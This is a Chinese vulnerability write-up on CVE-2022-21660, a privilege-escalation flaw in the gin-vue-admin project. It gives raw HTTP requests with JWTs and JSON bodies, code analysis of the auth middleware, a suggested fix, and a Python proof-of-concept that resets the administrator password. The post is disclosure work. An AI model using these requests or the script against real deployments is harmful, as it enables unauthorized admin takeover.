<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Gin-Vue-admin垂直越權漏洞挖掘與代碼分析-CVE-2022-21660

    VSole2022-01-10 05:15:14

    前 言

    歡迎各位大佬們給該項目點一個star

      https://github.com/flipped-aurora/gin-vue-admin/
    

    文章寫完了之后,申請CVE有一些麻煩,不過好在還是申請到了,github的員工響應迅速。

    ps:申請CVE前,已經提交了CNVD。

    環境搭建

    按照官方教程

    git clone https://github.com/flipped-aurora/gin-vue-admin.git
    

    隨后進入server目錄

    go generate
    

      go build -o server main.go 
    

    隨后直接運行server即可

    隨后是WEB,進入到web目錄,輸入

      yarn install
    

    隨后等待即可

    隨后安裝完成會自動打開WEB網頁

    隨后初始化設置數據庫信息

    配置好之后點擊初始化后登錄即可

    漏洞復現

    SetUserInfo存在垂直越權。

    1、SetUserInfo接口越權設置用戶個人信息

    我們直接來到用戶管理頁面,新增一個低權限的用戶角色。

    可以看到上方并沒有給到管理員的權限,接下來新建一個賬號,分給這個角色組

    漏洞發生的位置在

    https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go的第273行

    // @Tags SysUser// @Summary 設置用戶信息// @Security ApiKeyAuth// @accept application/json// @Produce application/json// @Param data body system.SysUser true "ID, 用戶名, 昵稱, 頭像鏈接"http:// @Success 200 {string} string "{"success":true,"data":{},"msg":"設置成功"}"http:// @Router /user/setUserInfo [put]func (b *BaseApi) SetUserInfo(c *gin.Context) {  var user system.SysUser  _ = c.ShouldBindJSON(&user)  if err := utils.Verify(user, utils.IdVerify); err != nil {    response.FailWithMessage(err.Error(), c)    return  }  if err, ReqUser := userService.SetUserInfo(user); err != nil {    global.GVA_LOG.Error("設置失敗!", zap.Error(err))    response.FailWithMessage("設置失敗", c)  } else {    response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "設置成功", c)  }}
    

    這里沒有對傳入的ID進行校驗,ID代表用戶的,直接傳入指定的ID就可以修改對應用戶的個人信息。

    首先我們用管理員的X-token測試修改ID為1的用戶的名稱修改為test1,隨后我們可以在后臺中看到管理員的ID已經被修改為test1了。

    那么接下來,我們使用剛剛新建的UzJu_HxSecTeam賬號的Token替換進去,將管理員用戶名修改為test2。

    首先我們UzJu_HxSecTeam的賬號個人信息>修改密碼 這里隨便修改密碼,然后獲取到賬號Token。

    這個Token是低權限那個角色的,正常低權限的用戶是不可以修改管理員的任何信息的。

    x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
    

    我們將Token替換進去,構造如下Json數據

    {  "id":1,  "username":"test2",  "nickName":"test2",  "headerImg":""}
    

    我們將Token替換到setUserinfo接口

    PUT /api/user/setUserInfo HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonx-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDsx-user-id: 1Content-Length: 67Origin: http://localhost:8080Connection: closeReferer: http://localhost:8080/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin
    {"id":1,"username":"test2","nickName":"test2","headerImg":""}
    

    隨后提示我們,設置成功

    這是我們切換到管理員賬號,查看是否被修改為test2。

    可以看到管理員用戶成功被修改。

    2、SetUserInfo接口垂直越權無條件修改管理員密碼

    在Debug的時候發現,在越權設置個人信息的接口setUserInfo中不單單只能設置id, username, nickname,headimg,其實還可以傳入password等參數。

    比如我們構造一個請求,將ID為1的用戶名稱設置為admin,昵稱設置為超級用戶管理員。

    PUT /api/user/setUserInfo HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonx-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9Ux-user-id: 1Content-Length: 91Origin: http://localhost:8080Connection: closeReferer: http://localhost:8080/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin
    {"id":1,"username":"admin","nickName":"超級用戶管理員","Password":"qwe@123"}
    

    此時管理員的密碼已經被修改為了qwe@123,嘗試登陸。

    隨后成功登錄

    3、越權修改用戶密碼

    PS: 這里有一個前提,需知道我想修改的那個人用戶的密碼才可以。

    首先我們知道默認的admin密碼為123456,這個時候我們只需要構造Json數據,將Json數據中的username參數,修改為我們想越權修改的那個用戶名即可。

    首先我們登錄低權限的賬號,修改一次密碼。

    我們會抓到一個changePassword的請求,隨后將這個請求放入Repeater。

    隨后我們只需要將username這個參數修改為admin即可。

    隨后會提示我們修改成功,然后我們使用新的密碼來登錄admin。

    隨后成功登錄

    漏洞出現的位置在

    https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go,139行

    // @Tags SysUser// @Summary 用戶修改密碼// @Security ApiKeyAuth// @Produce  application/json// @Param data body systemReq.ChangePasswordStruct true "用戶名, 原密碼, 新密碼"http:// @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}"http:// @Router /user/changePassword [post]func (b *BaseApi) ChangePassword(c *gin.Context) {  var user systemReq.ChangePasswordStruct  _ = c.ShouldBindJSON(&user)  if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil {    response.FailWithMessage(err.Error(), c)    return  }  u := &system.SysUser{Username: user.Username, Password: user.Password}  if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil {    global.GVA_LOG.Error("修改失敗!", zap.Error(err))    response.FailWithMessage("修改失敗,原密碼與當前賬戶不符", c)  } else {    response.OkWithMessage("修改成功", c)  }}
    

    漏洞原理分析

    ps: 以下所有內容出自一個完全沒學過Go的,也沒做過開發的,只會Python的腳本小子的理解。

    首先從正常的業務邏輯來看這里為什么會造成越權,其實原理比較簡單,主要是因為,我們在新建角色權限的時候,有幾個必選的參數,也就是這幾個參數,選了之后,用戶才有機會越權(但是也不能不選,因為這是默認的必選參數),其實最終還是在代碼上存在邏輯問題。

    首先我們看,在新建完角色之后,查看角色的權限

    可以看到,默認新建的用戶權限,在角色菜單中,只有一個可以訪問儀表盤的權限,但是我們查看角色的API權限就會發現。

    這里有幾個必選的權限

    • 用戶注冊
    • 設置用戶信息
    • 獲取自身信息
    • 修改密碼
    • 修改用戶角色

    這也是這一次漏洞的來源,首先是設置用戶信息,如果我們取消勾選。

    然后我們將低權限角色組的賬號Token放進Burp進行嘗試。

    PUT /api/user/setUserInfo HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonx-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9Ux-user-id: 1Content-Length: 83Origin: http://localhost:8080Connection: closeReferer: http://localhost:8080/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin
    {"id":1,"username":"admin","nickName":"超級用戶管理員","headerImg":""}
    

    可以很清楚的看到,目前我們已經沒有權限來設置這些用戶信息了,而且在Go的Debug頁面我們也很容易發現,代碼邏輯,比如我們現在是沒有權限進行設置用戶信息的。

    但是在代碼中理論來說,我訪問了這個接口,我Debug的斷點應該是可以攔截的,但是如下圖,我下斷點之后,程序居然沒有停止。

    從這里就能判斷,在此操作之前,應該是有一個鑒權操作(常見的應該是rbac吧)那么我們現在給低權限角色組設置用戶的權限,我們再進行重放看看。

    我們可以看到,程序成功停止在了這里,那么我想(go小白)應該可以通過Debug的方式,來找到這里的鑒權:)

    首先Mac下command鍵鼠標左鍵來找哪里調用了這個函數。

    然后可以看到這里有一個初始化用戶路由的一個函數InitUserRouter

    那么繼續老辦法,Command+鼠標左鍵來判斷哪里調用了InitUserRoute

    這里注意,有一個JWTAuth()還有一個middleware.CasbinHandler()

    首先我們先來看middleware.JWTAuth(),還是老方法Command+鼠標左鍵。

    然后來到一個jwt.go,這里的邏輯我們可以看一下(當然也感謝作者寫了一些注釋)

    go中token:=應該是相當于定義一個變量來接收請求中的header中的x-token,首先就是判斷token是不是為空,如果為空的話直接返回用戶未登錄或非法訪問。

    隨后就是判斷用戶的token是否在黑名單里面,這里應該是通過緩存或者用戶退出的時候來判斷,這個token是不是已經失效了吧,如果失效了就會返回告訴用戶異地登錄或令牌失效了。

    這里首先傳給ParseToken這個函數來解析Token,可以跟過去看一下。

    不懂jwt.ParseWithClaims是啥。。。傳統藝能,google.com。

    https://www.cnblogs.com/taoshihan/p/15239208.html

    這里是用來JWT加解密的,然后返回一個SigningKey,然后繼續往下走。

    感謝作者的指點:此處將傳入的jwt token串進行解析,獲得jwt.Token結構體,然后從結構體解析出Claims獲取之前我們生成token時掛載在上面的用戶信息。

    通過Google知道了ValidationErrorMalformed用來判斷是否是錯誤的token,然后再通過ValidationErrorExpired來判斷是否已過期,然后再通過ValidationErrorNotValidYet判斷token是否激活,然后就是返回了。雖然下面還有一段代碼:

    隨后判斷token是否過期,如果沒有過期,則走到了reload,隨后我們來到middleware.CasbinHandler()

    首先進入到utils.GetClaims并且傳入一個參數。

    這里函數用來獲取x-token隨后解析該token來判斷是否過期等。

    隨后判斷用戶的角色,這里的1234,也就是我們web設置的角色組ID。

    隨后進入casbinService.Casbin(),傳統藝能,直接百度。

    跟之前猜想的差不多,rbac權限控制,這里是連接數據庫,然后這里F7單步步入看了一下,勸退了,看不懂。

    看注釋可以判斷,這里用來判斷權限

    機翻: Enforce decides whether a "subject" can access a "object" with the operation "action", input parameters are usually: (sub, obj, act).

    強制決定“subject”是否可以通過操作“action”訪問“object”,輸入參數通常是:(sub, obj, act)。

    隨后判斷是否在開發環境,然后success等于false,這里|| 或者的意思,要么成功,要么提示權限不足。

    我們來看看有權限后,越權的setuserinfo接口是怎么走的,首先我們在攔截器這個地方下一個斷點。

    Tips: 通過百度發現這里用的是golang的casbin訪問控制框架

    https://blog.csdn.net/qq_42015552/article/details/104013264

    然后在setuserinfo這里也下一個斷點

    因為攔截器在程序邏輯中在setuserinfo前面,所以我們從攔截器開始調。

    burp發送請求之后,一直等待,此時我們單步調試看看。

    此時我們的角色組為1234

    隨后是連接數據庫,再之后就是檢查權限

    這里返回了一個true,說明權限存在,隨后就是判斷是否為開發環境或者success等于true了,這里肯定會經過第一個if,

    隨后就來到了setuserinfo接口

    shouldBindJson 綁定了Json參數

    隨后這里,應該是用來判斷傳入的Json參數是否正確

    下面直接直接將userid代入了進去

    這里的ID是我們前端傳入的,可以任意修改,所以就導致了越權

    隨后代入到數據庫之后,更新后返回

    隨后則是更新成功

    主要的鑒權操作都在cashbin.rbac.go這個文件中的CasbinHandler函數,中的casbinService.Casbin()和e.Enforce(sub, obj, act)

    我對這里的越權理解是,如果給了設置用戶信息的權限,那么默認這個用戶在權限規則中就可以修改用戶信息,然后在修改的時候,替換成別人的ID即可修改為別人的。

    到這里可以明白了,首先鑒權判斷的是AuthorityId,來判斷用戶是否有權限操作某個接口。


    但是在setuserinfo使用的ID卻是用戶的賬號ID

    所以就導致了越權,因為這個ID可以前端傳入的時候可以控制,并且也已經鑒權之后了,在與作者溝通之后,解釋說修復也比較簡單,只需要將user.id強制賦值為JWT所對應的權限ID即可,這樣就不會造成越權了,因為前端怎么傳入,最終在代碼中還是有一行會將user.id的值修改為當前JWT所對應的id。

    但是在業務流程邏輯中,這些權限又是必須給的,因為不給的話,當前用戶是沒有辦法修改自己的信息的。

    POC編寫

    #!/usr/bin/env python# -*- coding: UTF-8 -*-'''@Project :UzJuSecurityTools @File    :Gin-Vue-Admin-Poc.py@Author  :UzJu@Date    :2021/12/31 11:20 @Email   :UzJuer@163.com'''
    import requestsimport jsonimport sys
    
    class GinVueAdminPoc:    def __init__(self, url, token):        self.url = url        self.jwt_token = token        '''        define vuln interface        '''        # Method PUT Severity High        self.setUserInfo = "/api/user/setUserInfo"        # Method POST Severity Moderate        self.changePassword = "/api/user/changePassword"
        def checkVuln(self):        '''        因為默認管理員的用戶ID為1,所以,這里直接修改ID為1的用戶賬號為admin,密碼為qwe@123        在實際使用中,可以通過遍歷ID,來判斷哪個ID用戶存在,不過默認用戶在實戰中應該都是存在的        The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123        In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice        '''        payload_data = {                            "id": 1,                            "username": "admin",                            "nickName": "超級管理員",                            "Password": "qwe@123"                        }        # Change the administrator password to qwe@123, because the default administrator ID is 1        headers = {            "x-token": self.jwt_token        }        result = requests.put(url=self.url + self.setUserInfo,                              headers=headers,                              data=json.dumps(payload_data)                              )        if json.loads(result.content)['code'] == 7:            print("[-]Modify the failure")        elif json.loads(result.content)['code'] == 0:            print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")
        def check_interface_ChangePassword(self):        '''        wait        '''        pass
    
    if __name__ == '__main__':    try:        Banner_2 = '''             /$$   /$$              /$$$$$                  | $$  | $$             |__  $$                  | $$  | $$ /$$$$$$$$      | $$ /$$   /$$        | $$  | $$|____ /$$/      | $$| $$  | $$        | $$  | $$   /$$$$/  /$$  | $$| $$  | $$        | $$  | $$  /$$__/  | $$  | $$| $$  | $$        |  $$$$$$/ /$$$$$$$$|  $$$$$$/|  $$$$$$/         \______/ |________/ \______/  \______/                                Autor: UzJu   Email: UzJuer@163.com  GitHub: github.com/uzju          '''        print(Banner_2)        url = sys.argv[1]        jwt_token = sys.argv[2]        main = GinVueAdminPoc(url, jwt_token)        main.checkVuln()    except:        print("[-]please input url and token")
    

    為什么check_interface_ChangePassword這個方法沒寫是因為,這里算是一個暴力破解的一個接口,因為在修改任意用戶的密碼之前,必須知道需要修改的那個賬號的密碼,這就像是暴力破解。

    所以這里并沒有寫,然后就是checkvuln這個方法,payload_data這個json數據中的id,其實可以任意更改的,也可以寫成for循環進行遍歷,因為在實際環境中并不確定管理員的ID是否為1,或者說存在惡意破壞的話,也可以造成一定的影響。

    CVE申請

    CNVD的就不用說了吧,肯定也已經提交了,這里申請CVE的。

    GitHub代申請編號來的特別快,基本上最多3天,這里是當天提交的次日凌晨就收到了CVE的預分配編號。

    以下操作需要聯系作者幫你操作,不然沒有New Draft security advisory這個按鈕。

    Description寫上漏洞的內容,復現過程,POC就行,然后點擊create draft security advisory。

    由于當時我們是第一次申請這個,犯了一個錯誤,只列出了一個草稿,并沒有請求,導致我們白白等了7天。

    寫完了一定要拉到下面,去點擊request cve i

    參考文章:

    Medicean——記錄一下代白帽子申請CVE的過程

    漏洞挖掘token
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Host Header欺騙有些人認為HTTP的聯機就是靠包里的HOST header來連接的,所以會認為如果修改掉包里的HOST, 那么就連接不到目標服務器,所以是不可控的。所以當應用使用$_SERVER['HTTP_HOST']獲取網站URL并拼接到找回密碼的鏈接當中就會產生漏洞
    邏輯漏洞挖掘技巧
    2023-02-02 11:36:32
    商戶網站接受異部參數的URL對應的程序中,要對支付公司返回的支付結果進行簽名驗證,成功后進行支付邏輯處理,如驗證金額、訂單信息是否與發起支付時一致,驗證正常則對訂單進行狀態處理或為用戶進行網站內入賬等。查看配置文件和一些過濾器,看是否對 URL 有相關的篩選操作。除了cookie之外,在請求中可能會帶一些參數,細覽下可能存在辨別信息的唯一值,來進行測試。
    拿到一個系統后,很多情況下只有一個登錄入口。如果想進一步得到較為高危的漏洞,只能去尋找權限校驗相關的漏洞,再結合后臺洞,最終得到一個較為滿意的漏洞
    0x02 挖掘前期一、CMS選擇如果你是第一次挖白盒漏洞,那么建議你像我一樣,先找一些簡單的來挖掘
    支付漏洞-金額溢出Int型最大值2147483647,超過該值后,從0開始技術,即1=2147483649利用方式:1.直接修改金額2.通過修改數量,比如用1300元買3300元的6w多件商品支付漏洞-小數點買1.49個商品和1.5個商品的區別,或2.0.019=2這樣支付漏洞-重復購買限購商品簽約漏洞(如多手機掃碼進入支付頁面,然后依次支付,解除自動續費,那么會以優惠價開通多次,比如首次簽約會很
    繞過登錄頁面的七種常見方法這篇文章是關于繞過由于網站的弱點而發生的登錄頁面功能。常見的七種方式繞過 SQL 注入通過跨站點腳本通過操縱響應返回包繞過爆破攻擊限制繞過目錄爆破攻擊默認憑據繞過通過刪除請求中的參數繞過 SQL 注入我以 Mutillidae 為例進行演示。我們以管理員身份登錄。在您的情況下,當它不起作用時嘗試其他payload,并使用 SQLMap 工具dump用戶名和密碼。并顯示彈出窗口,因此您可以通過 XSS 嘗試 CSRF 并查看受害者憑據。
    今天在這篇文章中,我將分享一篇關于使用授權Header(Authorization Headers token)的 SQL 注入的文章。
    今天分享的主題是開源軟件漏洞挖掘實踐,主要講對于企業項目、開源項目審計的認識以及做代碼審計的經驗。
    Windows SMB Ghost CVE-2020-0796漏洞分析與利用(二)
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类